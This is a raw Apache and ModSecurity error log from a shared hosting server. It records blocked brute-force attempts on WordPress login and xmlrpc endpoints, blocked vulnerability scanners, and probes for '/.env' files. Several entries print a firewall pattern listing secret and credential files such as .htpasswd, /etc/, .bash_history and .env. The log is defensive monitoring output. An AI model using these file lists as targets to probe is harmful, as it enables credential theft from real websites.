[remote 17.22.237.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zztyTkdrNlD40tSG-_wAAbhw"] [Sat Jun 13 18:20:30.383085 2026] [security2:error] [pid 648189:tid 648409] [client 172.56.168.133:52184] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zzlWSojQL4F7upKCF_AAAALw"] [Sat Jun 13 18:20:30.383233 2026] [security2:error] [pid 648189:tid 648409] [client 172.56.168.133:52184] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zzlWSojQL4F7upKCF_AAAALw"] [Sat Jun 13 18:20:30.411304 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.53:25858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:30.411778 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.53:25858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:30.542893 2026] [security2:error] [pid 648189:tid 648464] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai3zzlWSojQL4F7upKCGAwAAAO4"] [Sat Jun 13 18:20:30.666490 2026] [core:error] [pid 648189:tid 648425] [client 185.82.72.1:36317] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:30.666513 2026] [core:error] [pid 648189:tid 648425] [client 185.82.72.1:36317] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:30.747376 2026] [security2:error] [pid 648189:tid 648223] [remote 17.241.75.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zzlWSojQL4F7upKCGCwAA4QM"] [Sat Jun 13 18:20:30.826287 2026] [security2:error] [pid 648189:tid 648368] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backend/.env"] [unique_id "ai3zzlWSojQL4F7upKCGDgAAAJQ"] [Sat Jun 13 18:20:30.979006 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:20:30.979427 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:20:31.128587 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.95:57327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:31.128925 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.95:57327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:31.214081 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.54:44153] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:31.214347 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.54:44153] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:31.257732 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:20:31.258170 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:20:31.262158 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:39848] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php"] [unique_id "ai3zz1WSojQL4F7upKCGHwAAAPU"] [Sat Jun 13 18:20:31.265979 2026] [security2:error] [pid 646876:tid 647079] [client 210.217.96.217:5748] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zz9yTkdrNlD40tSG_GgAAAEc"] [Sat Jun 13 18:20:31.266139 2026] [security2:error] [pid 646876:tid 647079] [client 210.217.96.217:5748] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zz9yTkdrNlD40tSG_GgAAAEc"] [Sat Jun 13 18:20:31.293883 2026] [security2:error] [pid 646876:tid 646962] [remote 185.176.8.77:60974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.8.176.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zz9yTkdrNlD40tSG_HQAAEFM"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:20:31.467407 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.98:31684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:31.467864 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.98:31684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:31.539336 2026] [core:error] [pid 648189:tid 648479] [client 45.86.200.34:52715] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:31.539372 2026] [core:error] [pid 648189:tid 648479] [client 45.86.200.34:52715] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:31.585997 2026] [security2:error] [pid 648189:tid 648342] [remote 17.22.237.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zz1WSojQL4F7upKCGOQAAzXc"] [Sat Jun 13 18:20:31.772982 2026] [access_compat:error] [pid 648189:tid 648229] [remote 57.141.14.19:39626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:31.773259 2026] [access_compat:error] [pid 648189:tid 648229] [remote 57.141.14.19:39626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:31.800277 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:20:31.800657 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:20:32.031210 2026] [security2:error] [pid 648189:tid 648237] [remote 17.22.253.176:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zz1WSojQL4F7upKCGRwAAnRA"] [Sat Jun 13 18:20:32.036786 2026] [security2:error] [pid 646876:tid 646881] [remote 47.128.120.28:61158] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "ombra.pikarthouse.com"] [uri "/architecture-demo/news/"] [unique_id "ai3z0NyTkdrNlD40tSG_MgAAfQI"] [Sat Jun 13 18:20:32.143150 2026] [security2:error] [pid 648189:tid 648243] [remote 17.246.23.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z0FWSojQL4F7upKCGSgAAoBY"] [Sat Jun 13 18:20:32.145415 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.107:61861] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:32.145716 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.107:61861] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:32.165103 2026] [security2:error] [pid 648189:tid 648287] [remote 167.71.136.93:35182] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.136.71.167.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai3z0FWSojQL4F7upKCGTgAA2UE"] [Sat Jun 13 18:20:32.195233 2026] [security2:error] [pid 646876:tid 646922] [remote 17.241.227.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z0NyTkdrNlD40tSG_NgAADCs"] [Sat Jun 13 18:20:32.293456 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.19:39638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:32.293752 2026] [access_compat:error] [pid 646876:tid 646883] [remote 57.141.14.19:39638] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:32.306925 2026] [security2:error] [pid 648189:tid 648385] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/ucfirst.phpt"] [unique_id "ai3z0FWSojQL4F7upKCGUQAAAKU"] [Sat Jun 13 18:20:32.359731 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:32.360173 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:32.364509 2026] [autoindex:error] [pid 646876:tid 647091] [client 36.140.221.32:64183] AH01276: Cannot serve directory /home4/mensapra/public_html/wdc-ministries.org/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:20:32.508737 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.75:45244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:32.509000 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.75:45244] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:32.526510 2026] [core:error] [pid 648189:tid 648449] [client 45.86.200.26:46309] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:32.526530 2026] [core:error] [pid 648189:tid 648449] [client 45.86.200.26:46309] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:32.825769 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:20:32.826056 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:20:33.164426 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.34:46624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:33.164763 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.34:46624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:33.316078 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.97:41564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:33.316352 2026] [access_compat:error] [pid 646876:tid 647005] [remote 57.141.14.97:41564] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:33.331542 2026] [core:error] [pid 646876:tid 647056] [client 47.79.200.10:40044] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:20:33.331559 2026] [core:error] [pid 646876:tid 647056] [client 47.79.200.10:40044] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:20:33.342937 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 